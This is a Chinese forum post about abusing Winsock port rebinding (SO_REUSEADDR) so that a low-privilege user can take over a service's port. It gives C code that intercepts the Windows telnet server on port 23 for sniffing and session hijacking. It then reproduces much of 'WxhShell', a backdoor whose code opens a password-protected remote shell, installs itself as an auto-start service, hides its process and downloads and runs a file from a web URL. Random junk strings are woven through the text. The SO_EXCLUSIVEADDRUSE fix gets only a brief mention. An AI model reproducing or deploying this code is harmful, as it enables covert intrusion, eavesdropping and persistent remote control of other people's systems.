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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h.s<0.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wJ]$'c3  
g)r ,q&*  
  saddr.sin_family = AF_INET; ^) b7m  
9OJ\n|,(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,n,7.m.D  
|\r\i&|g1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EJ &ZZg  
zk^7gx3x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :R|2z`b!  
ywsz"/=@  
  这意味着什么?意味着可以进行如下的攻击: Vo9)KxR  
,9l!fT?iH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?'$. -z:  
Z5^,!6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |#k hwH  
0,D9\ Ebd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s)&R W#:X  
aid)q&AcQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *.;}OX^X  
#<V'gE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^&w'`-ra  
LM`tNZ1Fc!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qpEC!~ y  
cJE>;a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 PQ!?gj  
H&K)q5~  
  #include c.me1fGn  
  #include RkXLE"G '  
  #include -3XnK5  
  #include    @Oc}\Rg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P*^UU\x'4I  
  int main() h^,YYoA$  
  { %KVRiX  
  WORD wVersionRequested; ~s ja^  
  DWORD ret; R8Ei:f}  
  WSADATA wsaData; HQ#L |LN  
  BOOL val; 9!OCilG  
  SOCKADDR_IN saddr; I Y-5/  
  SOCKADDR_IN scaddr; gmH0-W)=  
  int err; gG z_t,=  
  SOCKET s;  k`zK  
  SOCKET sc; ~CTRPH   
  int caddsize; Yy:sZJ  
  HANDLE mt; *xNjhR]7v  
  DWORD tid;   K?<Odw'k  
  wVersionRequested = MAKEWORD( 2, 2 ); SxQDqoA~  
  err = WSAStartup( wVersionRequested, &wsaData ); 4 6JP1  
  if ( err != 0 ) { ll^O+>1dO  
  printf("error!WSAStartup failed!\n"); <5L`d}  
  return -1; `-e}:9~q  
  } |&*rSp2iH  
  saddr.sin_family = AF_INET; TgG)btQ  
   sSb&r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GdwHm  
QLLV OJi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \DdVMn  
  saddr.sin_port = htons(23); Ppn ZlGQ6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i; uM!d}  
  { ApB'O;5  
  printf("error!socket failed!\n"); w0OK. fj  
  return -1; 6q7Y`%j  
  } {-Oc8XI/  
  val = TRUE; : .eS|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4h@of'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z@LP9+?dE  
  { 438> )=  
  printf("error!setsockopt failed!\n"); Xc<9[@  
  return -1; g)Uh   
  } e q.aN3KB"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N^>g= Ub  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (bXp1*0 ;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6!V* :.(  
XX+rf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZX.TqvK/r  
  { Un@\kAY  
  ret=GetLastError(); xJ(:m<z  
  printf("error!bind failed!\n"); SGcBmjP  
  return -1; M}F~_S0h  
  } w:ULi3  
  listen(s,2); _p}xZD\?,  
  while(1) E5G{B'%j  
  { 6Wf^0ok  
  caddsize = sizeof(scaddr); .p@N:)W6  
  //接受连接请求 :jem~6i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /Jlv"R 1,  
  if(sc!=INVALID_SOCKET) 'jaoO9KY K  
  { p2pAvlNoF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q GPw2Q  
  if(mt==NULL) lF4u{B9DM  
  { EESN\_{~.  
  printf("Thread Creat Failed!\n"); _ Jc2&(;  
  break; f} K`Jm_}?  
  } (.X]F_ *sc  
  } 8k!6b\Imz  
  CloseHandle(mt); W)=%mdxW0  
  } 5vOCCW  
  closesocket(s); ; st\I  
  WSACleanup(); i^2IW&+}e}  
  return 0; X[hM8G  
  }   SgM.B  
  DWORD WINAPI ClientThread(LPVOID lpParam) !`wW_W  
  { ~L?nq@DL  
  SOCKET ss = (SOCKET)lpParam; 0!#; j{JQ  
  SOCKET sc; E`D%PEps+  
  unsigned char buf[4096]; 1mW%  
  SOCKADDR_IN saddr; vq6%Ey3Gix  
  long num; ?y%t}C\W  
  DWORD val; <d7xt* 4  
  DWORD ret; ;#QhQx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (FVX57  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Pv){sYUh  
  saddr.sin_family = AF_INET; WH$HI/%*m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {NQo S"  
  saddr.sin_port = htons(23); ef]B9J~h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) - q@69q  
  { ;u!?QSvb  
  printf("error!socket failed!\n"); ImkrV{,e  
  return -1; Mq\~`8V  
  } AV4~U:vU  
  val = 100; +_mr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h)dRR_  
  { U{#xW  
  ret = GetLastError(); .W.;~`EW  
  return -1; T\sNtdF`:  
  } C0m\SNR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \ TL82H@D  
  { '2v f|CX  
  ret = GetLastError(); dgc&[  
  return -1; _z"o1`{w  
  } +R\~3uj[7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Lb~\Y n'z  
  { 9k>uRV6  
  printf("error!socket connect failed!\n"); Yj8&  
  closesocket(sc); WU\m^!`w=F  
  closesocket(ss); nCaLdj?  
  return -1; ;`jU_  
  } CeW7Ym  
  while(1) O@,i1ha%  
  { VS`Z_Xn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x0G>ktWq<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VGJDqm!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +by|  
  num = recv(ss,buf,4096,0); e_.~n<=  
  if(num>0) a4by^   
  send(sc,buf,num,0); RKe?.  
  else if(num==0) 9dYOH)f  
  break; `|,tCM&-  
  num = recv(sc,buf,4096,0); fsI`DjKi)  
  if(num>0) b|wWHNEdb,  
  send(ss,buf,num,0); 4  
  else if(num==0) 2np-Fc{S  
  break; SALCuo"L  
  } hht+bpHl  
  closesocket(ss); "m>};.lj  
  closesocket(sc); 7'UWRRsxUF  
  return 0 ; %zQ2:iT5@=  
  } <PQRd  
2'dG7lLu4  
C$y fMK,,N  
========================================================== ]+,nA R  
{~1M  
下边附上一个代码,,WXhSHELL i*A$SJ:}  
ee\Gl?VN  
========================================================== u[J7Y  
i ~P91  
#include "stdafx.h" nOr"K;C  
c8\g"T  
#include <stdio.h> b)y<.pS\  
#include <string.h> gyg|Tno  
#include <windows.h> Xr)g  
#include <winsock2.h> M Hn&; A]  
#include <winsvc.h> 6d(b'S^  
#include <urlmon.h> 4Xr"d@2(  
t5A[o7BS  
#pragma comment (lib, "Ws2_32.lib") IjgBa-o/V  
#pragma comment (lib, "urlmon.lib") '[xut1{  
qG*_w RF  
#define MAX_USER   100 // 最大客户端连接数 14;Av{Xt  
#define BUF_SOCK   200 // sock buffer  ^ M8k  
#define KEY_BUFF   255 // 输入 buffer ua!D-0  
su%Z{f)#  
#define REBOOT     0   // 重启 _"`uqW79  
#define SHUTDOWN   1   // 关机 H8x:D3C0  
v@]6<e$  
#define DEF_PORT   5000 // 监听端口 ap{{(y&R  
H|x k${R`  
#define REG_LEN     16   // 注册表键长度 X.:_"+I;  
#define SVC_LEN     80   // NT服务名长度 w7Pe  
_i#@t7  
// 从dll定义API Mj,2\ijNM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^M"HSewo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =7H.F:BBG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ( / G)"]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U8U/?zW/&  
7Im}~3NJG  
// wxhshell配置信息 :v''"+\  
struct WSCFG { JJ*0M(GG  
  int ws_port;         // 监听端口 R^F7a0"  
  char ws_passstr[REG_LEN]; // 口令 W[@"H1bVH  
  int ws_autoins;       // 安装标记, 1=yes 0=no {lTR/  
  char ws_regname[REG_LEN]; // 注册表键名 `W D*Q-&n  
  char ws_svcname[REG_LEN]; // 服务名 38OIFT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OME!W w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xu0;a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }u38:(^`ai  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \E>%W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M ^ 0w/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &8IWDx.7}  
V;/ XG}M  
}; la!1[VeL  
O1l4gduN|i  
// default Wxhshell configuration j&o/X7I=  
struct WSCFG wscfg={DEF_PORT, :XNK-A W  
    "xuhuanlingzhe", QYFN:XZ  
    1, 6kgCS{MZ  
    "Wxhshell", w}]3jc84  
    "Wxhshell", !W(/Y9g#  
            "WxhShell Service", <VauJB*R  
    "Wrsky Windows CmdShell Service", UEx(~>  
    "Please Input Your Password: ", 7 UB8N vo  
  1, IIYX|;1}X  
  "http://www.wrsky.com/wxhshell.exe", *m `KU+o-u  
  "Wxhshell.exe" a3DoLq"/  
    }; 38zR\@'j]4  
0KNH=;d}  
// 消息定义模块 WVBE>TB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ORFr7a'K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jn5=N[hd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c +"O\j'  
char *msg_ws_ext="\n\rExit."; FC jYTGA  
char *msg_ws_end="\n\rQuit."; 6c;?`C  
char *msg_ws_boot="\n\rReboot..."; [57V8%  
char *msg_ws_poff="\n\rShutdown..."; *$*nY [/5  
char *msg_ws_down="\n\rSave to "; O(:u(U7e  
^*4(JR   
char *msg_ws_err="\n\rErr!"; Nys'4kx7  
char *msg_ws_ok="\n\rOK!"; q]wn:%rX  
#Fb0;H9`  
char ExeFile[MAX_PATH]; )PLc+J.I  
int nUser = 0; U:T5o]P<  
HANDLE handles[MAX_USER]; b5iJ m-  
int OsIsNt; 8B% O%*5`  
` Q!FMv6Y^  
SERVICE_STATUS       serviceStatus; oM? C62g\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BGk<NEzH  
E<fwl1<88  
// 函数声明 JUUF^/J  
int Install(void); u3ri6Y`  
int Uninstall(void); VG*=)8{  
int DownloadFile(char *sURL, SOCKET wsh); RQ$o'U9A  
int Boot(int flag); 1 _:1/~R1  
void HideProc(void); "}y3@ M^  
int GetOsVer(void); cJp1 <R  
int Wxhshell(SOCKET wsl); pdXgr)Uv  
void TalkWithClient(void *cs); ?X5glDZ$  
int CmdShell(SOCKET sock); <:_]Yl  
int StartFromService(void); B39PDJ]hu  
int StartWxhshell(LPSTR lpCmdLine); y<gYf -E+  
p Z|nn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .L 5T4)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /`]|_>'  
2%No>w}/2  
// 数据结构和表定义 HT;QepY3  
SERVICE_TABLE_ENTRY DispatchTable[] = e]y=]}A3{  
{ 2 ShlYW@~  
{wscfg.ws_svcname, NTServiceMain}, '| Q*~Lh  
{NULL, NULL} -|iA!w#31  
}; eVNBhR}HS  
o dQ&0d  
// 自我安装 H_nOE(i<z  
int Install(void) %:8q7PN|  
{ /3:IE%o  
  char svExeFile[MAX_PATH]; a(t<eN>b!  
  HKEY key; +sq, !6#G  
  strcpy(svExeFile,ExeFile); dUVTQ18F  
p]IhQnj2  
// 如果是win9x系统,修改注册表设为自启动 4lo}-@j  
if(!OsIsNt) { #z54/T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L08;z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F#C6.`B  
  RegCloseKey(key); W&q5cz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V?=zuB?'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %!/liS  
  RegCloseKey(key); Qmh(+-Mp(  
  return 0; ra#)*fG,~  
    } j`-y"6)  
  } E$zq8-p|  
} 4 Fc1 '  
else { :zy'hu;  
*[/Xhx"  
// 如果是NT以上系统,安装为系统服务 3ncvM>~g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kFs kn55  
if (schSCManager!=0) ^RDXX+  
{ I6 Q_A  
  SC_HANDLE schService = CreateService R$,iDv.jI  
  ( 5|={1Lp24g  
  schSCManager, 9 7qS.Z27  
  wscfg.ws_svcname, [ESs?v$  
  wscfg.ws_svcdisp, >$9yQ9&|  
  SERVICE_ALL_ACCESS, Qvg"5_26v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `CUO!'U  
  SERVICE_AUTO_START, kEDZqUD  
  SERVICE_ERROR_NORMAL, OmuZ 0@ .  
  svExeFile, 5} aC'j\  
  NULL, ?{Z0g+B1  
  NULL, 1VsEic  
  NULL, 3@bjIX`=H  
  NULL, Xr;noV-X  
  NULL IYC#H}  
  ); cCCplL  
  if (schService!=0) kO>{<$  
  { wx 'Tv  
  CloseServiceHandle(schService); 6KTY`'I  
  CloseServiceHandle(schSCManager); #IwB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %dR./{txT  
  strcat(svExeFile,wscfg.ws_svcname); 7C yLSZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~n 9DG>a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3k0%H]wt  
  RegCloseKey(key); &fj?hYAj  
  return 0; X'4 Yofs  
    } SX,z J`"  
  } '$^ F.2  
  CloseServiceHandle(schSCManager); x)5v8kgf  
} Br!&Y9  
} Z9^$jw]  
!r <|F  
return 1; 6p{x2>2y[  
} RV(z>XM  
{`zF{AW8q  
// 自我卸载 K),wAZI!7j  
int Uninstall(void) ;~;St>?\R\  
{ :W.(,65c  
  HKEY key; I\23as0q  
d(Ou\7  
if(!OsIsNt) { lukV G2wDL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'b,D;'v  
  RegDeleteValue(key,wscfg.ws_regname); l$KcS&{w9  
  RegCloseKey(key); 9U*vnLB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X>>rvlDN  
  RegDeleteValue(key,wscfg.ws_regname); WG{/I/bJ_  
  RegCloseKey(key); !W7ekPnK  
  return 0; A-$BB=Ot  
  } Us5 JnP5  
} D ]eF3a.G  
} 0k 8SDRWU  
else { 4 #N#[;M  
eC-TZH@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "<WS Es  
if (schSCManager!=0) :jPAA`,  
{ GZw<Y+/V"5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I}=}S"v  
  if (schService!=0) 2i)y'+s  
  { Fk4 3sqU6~  
  if(DeleteService(schService)!=0) { +l9avy+P (  
  CloseServiceHandle(schService); ?cvv!2B]T  
  CloseServiceHandle(schSCManager); A@] n"  
  return 0; '9)@U+yfQ  
  } @'<|B. f  
  CloseServiceHandle(schService); lV?SvXe  
  } <3bh-)  
  CloseServiceHandle(schSCManager); Z%Gvf~u  
} G-qxQD1wK  
} vB p5&*  
580t@?  
return 1; k[p  
} m3D'7*U  
Wac8x%J  
// 从指定url下载文件  -<sXvn  
int DownloadFile(char *sURL, SOCKET wsh) 7~',q"4P/_  
{ (Gc5l MiX3  
  HRESULT hr; ZBGI_9wZ  
char seps[]= "/"; JTC&_6  
char *token; `uU@(  
char *file; bk<3oI  
char myURL[MAX_PATH]; 7mN?;X33  
char myFILE[MAX_PATH]; Cur) |  
qr@,92_  
strcpy(myURL,sURL); DXUI/C f  
  token=strtok(myURL,seps); 8+gn Wy  
  while(token!=NULL) r,}Zc W+  
  { n'gfB]H[  
    file=token; ^vPa{+N  
  token=strtok(NULL,seps); S("bN{7nE  
  } &ke4":7X  
K(p1+ GHC  
GetCurrentDirectory(MAX_PATH,myFILE); )fa  
strcat(myFILE, "\\"); J 4gIkZD  
strcat(myFILE, file); | @YN\g K;  
  send(wsh,myFILE,strlen(myFILE),0); VltWY'\Wu;  
send(wsh,"...",3,0); [B4?Z-K%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d_`Ze.^   
  if(hr==S_OK) 82<L07fB  
return 0; hYV{N7$U|  
else CtfSfSAUuu  
return 1; zQ [mO  
GA|q[<U  
} SbZk{lWcq  
=4I361oMf  
// 系统电源模块 b{oNV-<&{  
int Boot(int flag) Y /+ D4^ L  
{ kC+A7k6  
  HANDLE hToken; X;1q1X)K  
  TOKEN_PRIVILEGES tkp; ;2iZX=P`n  
TKE)NIa  
  if(OsIsNt) { 2/~v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i ]_fhC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3EFk] X  
    tkp.PrivilegeCount = 1; (3-G<E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'G^=>=w|Nv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kO.rgW82  
if(flag==REBOOT) { ._yr7uY[M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0Zq" -  
  return 0; :K&hGZ+5  
} My ^pQ]@  
else { ^v},Sa/ot]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [bcqaT  
  return 0; #RSxo 4  
} nuQ"\ G  
  } QIw.`$H+  
  else { +Lyh F2  
if(flag==REBOOT) { B|Omz:c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jfWIPN  
  return 0; pZR^ HOq  
} }'{(rU  
else { ABSeX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A=])pYE1  
  return 0; 8RK\B%UW  
} QdRMp n}q  
} '%MIG88  
brFOQU?  
return 1; 6!'yU=Z`  
} :eO]65N  
}}]Y mf  
// win9x进程隐藏模块 F-X>| oK>z  
void HideProc(void) & #|vGhA  
{ 7#&s G  
4qMHVPJv\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ge` J>2  
  if ( hKernel != NULL ) %9Ue`8  
  { m/ukH{H1%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \kRBJ1)|f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r[lHYO  
    FreeLibrary(hKernel); ,lUo@+  
  } <HD/&4$[  
N>z8\y  
return; 1Tl("XV3  
} (tz! "K  
vxgm0ZOMN  
// 获取操作系统版本 2H /a&uo@n  
int GetOsVer(void) .{} t[U  
{ F7hQNQu:  
  OSVERSIONINFO winfo; XkD_SaL}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v ipmzg(S  
  GetVersionEx(&winfo); zb4g\H 0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HaSH0eTw  
  return 1; UOY1^wY  
  else UWnH2  
  return 0; ?-VN+ d7  
} &a:aW;^A7  
N+tS:$V  
// 客户端句柄模块 {/Cd^CK  
int Wxhshell(SOCKET wsl) E|TzrH  
{ 3_-#  
  SOCKET wsh;  O~S}u  
  struct sockaddr_in client; }_;nl n?t(  
  DWORD myID; N.<hZ\].=  
c;e ,)$)-|  
  while(nUser<MAX_USER) ?BRL;(x  
{ u>eu47"n!  
  int nSize=sizeof(client); ?R+$4;iy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v:>P;\]r9M  
  if(wsh==INVALID_SOCKET) return 1; 8 2qe|XD4p  
f6#H@ X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pv'x|p*  
if(handles[nUser]==0) Mc8^{br61  
  closesocket(wsh); jHzy1P{?  
else jQDxbkIuzE  
  nUser++; u2eq VrY  
  } 5(W9Jj]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3k/Mig T  
}8SHw|-  
  return 0; jyC6:BNust  
} qL#R XUTP  
IF}r%%'Y$  
// 关闭 socket I,[EL{fz  
void CloseIt(SOCKET wsh) n>Ei1  
{ fP|\1Y?CS  
closesocket(wsh); 26**tB<  
nUser--; BpCSf.zZ  
ExitThread(0); 5J;c;PF  
} 'UyL%h;nJ  
n*1UNQp@]O  
// 客户端请求句柄 4D13K.h`O  
void TalkWithClient(void *cs) "f3>20}  
{ lO *Hv9#  
Yem\`; *  
  SOCKET wsh=(SOCKET)cs; :NL NxK  
  char pwd[SVC_LEN]; j{=%~  
  char cmd[KEY_BUFF]; L:<'TXsRA  
char chr[1]; U]acm\^Z  
int i,j; I%Awj(9BS  
HL?pnT09  
  while (nUser < MAX_USER) { wB^a1=C  
E;sltl  
if(wscfg.ws_passstr) { N9Ml&*%oX{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !S:@x.n@iR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9 2EMDKJ  
  //ZeroMemory(pwd,KEY_BUFF); cMv3` $  
      i=0; -%.V0=G(Z  
  while(i<SVC_LEN) { DXt^Ym5Cv  
7d)aDc*TjW  
  // 设置超时 eG v"&kr  
  fd_set FdRead; #5D+XBT  
  struct timeval TimeOut; 55,-1tWs  
  FD_ZERO(&FdRead); lg1D>=(mY  
  FD_SET(wsh,&FdRead); 2}b bdXx  
  TimeOut.tv_sec=8; ,3j7Y5v  
  TimeOut.tv_usec=0; *"ShE=\p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |>4{4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Nn?G  
YO,ldsSz|r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O^#u%/  
  pwd=chr[0]; s<b7/;w'  
  if(chr[0]==0xd || chr[0]==0xa) { #7=LI\  
  pwd=0; Ei-OuDM;)  
  break; Q)>'fZ)  
  } ~}w 8UO  
  i++; R 6Em^A/>  
    } 9x!y.gx  
ks D1NB;9  
  // 如果是非法用户,关闭 socket [78 .%b'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qE}YVKV*  
} m##=iB|;  
w3>|mDA}I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6K}=K?3Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ny={V*m  
_=5ZB_I  
while(1) { YqgW8 EM  
pZxL?N!  
  ZeroMemory(cmd,KEY_BUFF); 7krA+/Qr(  
^~l<N@  
      // 自动支持客户端 telnet标准   Ks(U]G"V  
  j=0; L:-lqag!  
  while(j<KEY_BUFF) { 'QF>e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A]$+ `uS\  
  cmd[j]=chr[0]; ".f:R9-  
  if(chr[0]==0xa || chr[0]==0xd) { sjm79/  
  cmd[j]=0; dL(|Y{4  
  break; S!_?# ^t  
  } #1@~w}Dh  
  j++; |m- `, we  
    } 6l'y  
i:ZA{hA`c  
  // 下载文件 3:1 c_   
  if(strstr(cmd,"http://")) { JxJntsn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6/ipdi[ _  
  if(DownloadFile(cmd,wsh)) (B<AK4G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D5u"4\g< &  
  else `g N68:B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); om?CFl  
  } T0%TeFY  
  else { <|3v@  
G6{A[O[  
    switch(cmd[0]) { ~79Qg{+]N  
  tY'QQN||  
  // 帮助 WG}CPkj  
  case '?': { 9PK-r;2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IQe[ CcM  
    break; v qMk)htIz  
  } sA-W^*+  
  // 安装 @n* D>g  
  case 'i': { KxmPL  
    if(Install()) NP'Ke:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  O'|P|  
    else tkqBCKpDa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !r obau7  
    break; N('DIi*or  
    } ~PW}sN6ppG  
  // 卸载 =v$s+`cP  
  case 'r': { ESjJHZoD(  
    if(Uninstall()) sJK:xk.6!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #r)1<}_e#  
    else _ZM9 "<M-X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kx 185Q'W  
    break; m_02"'  
    } qbq<O %g=  
  // 显示 wxhshell 所在路径 iv z?-X4]  
  case 'p': { K6*UFO4}i  
    char svExeFile[MAX_PATH]; {-N90Oe  
    strcpy(svExeFile,"\n\r"); 'ag6B(0Z  
      strcat(svExeFile,ExeFile); :#:O(K1PW  
        send(wsh,svExeFile,strlen(svExeFile),0); 7h9[-d6  
    break; qL5#.bR  
    } Nwl RPyt  
  // 重启 %iL@:'?K  
  case 'b': { N!Wq}#&l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d?&!y]RS#  
    if(Boot(REBOOT)) Ik-E4pxKo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Rkvsch  
    else { U]!.~ji3  
    closesocket(wsh); |;U=YRi  
    ExitThread(0); opcR~tg@r  
    } Ns|V7|n]  
    break; UK~B[=b9  
    } 2VV[*QI  
  // 关机 mj~N]cxB  
  case 'd': { tk)>CK11  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &.  =}g]  
